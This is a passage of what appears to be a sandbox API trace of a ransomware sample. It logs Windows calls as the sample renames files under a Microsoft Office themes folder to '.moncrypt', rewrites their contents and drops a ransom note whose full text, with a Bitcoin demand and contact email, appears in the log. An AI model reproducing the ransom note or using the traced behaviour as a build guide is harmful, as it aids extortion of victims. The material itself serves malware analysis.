(pMem=0x555b78) returned 0x440004 [0050.954] GlobalUnlock (hMem=0x440004) returned 0 [0050.954] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.954] GlobalUnlock (hMem=0x44000c) returned 0 [0050.954] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.955] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.955] GlobalUnlock (hMem=0x44000c) returned 0 [0050.955] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.955] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.955] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.955] GlobalUnlock (hMem=0x44000c) returned 0 [0050.955] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.955] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.955] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.955] SetFilePointer (in: hFile=0x18c, lDistanceToMove=44745, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xaec9 [0050.955] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.955] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.955] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.966] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.966] CloseHandle (hObject=0x18c) returned 1 [0050.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.967] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.967] CloseHandle (hObject=0x18c) returned 1 [0050.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0050.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.968] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.968] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.968] GlobalUnlock (hMem=0x44000c) returned 0 [0050.968] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.968] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.968] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.968] GlobalUnlock (hMem=0x44000c) returned 0 [0050.968] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.968] GlobalUnlock (hMem=0x440004) returned 0 [0050.969] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69fb8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0050.969] GetLastError () returned 0x2 [0050.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.971] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0050.972] CloseHandle (hObject=0x18c) returned 1 [0050.972] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0050.972] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.972] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.972] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.972] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.972] GlobalUnlock (hMem=0x440004) returned 0 [0050.972] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.972] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.972] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.972] GlobalUnlock (hMem=0x440004) returned 0 [0050.972] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.972] GlobalUnlock (hMem=0x44000c) returned 0 [0050.972] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.973] CharLowerBuffW (in: lpsz="CANYON.INF", cchLength=0xa | out: lpsz="canyon.inf") returned 0xa [0050.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpUsedDefaultChar=0x0) returned 73 [0050.973] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0050.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\CANYON\\CANYON.INF", lpUsedDefaultChar=0x0) returned 4 [0050.973] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.973] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.973] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.973] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.973] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.974] GlobalUnlock (hMem=0x44000c) returned 0 [0050.974] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.974] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.974] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.974] GlobalUnlock (hMem=0x44000c) returned 0 [0050.974] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.974] GlobalUnlock (hMem=0x440004) returned 0 [0050.974] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.974] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0050.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 74 [0050.974] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0050.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\CANYON\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 4 [0050.975] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0050.975] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.975] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.975] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.975] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.975] GlobalUnlock (hMem=0x440004) returned 0 [0050.975] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.975] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.975] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.975] GlobalUnlock (hMem=0x440004) returned 0 [0050.975] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.975] GlobalUnlock (hMem=0x44000c) returned 0 [0050.975] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.975] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0050.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 75 [0050.976] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0050.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0050.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0050.976] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.976] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.976] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0050.977] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.977] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.moncrypt")) returned 1 [0050.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.978] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.978] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x7f5f [0050.978] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 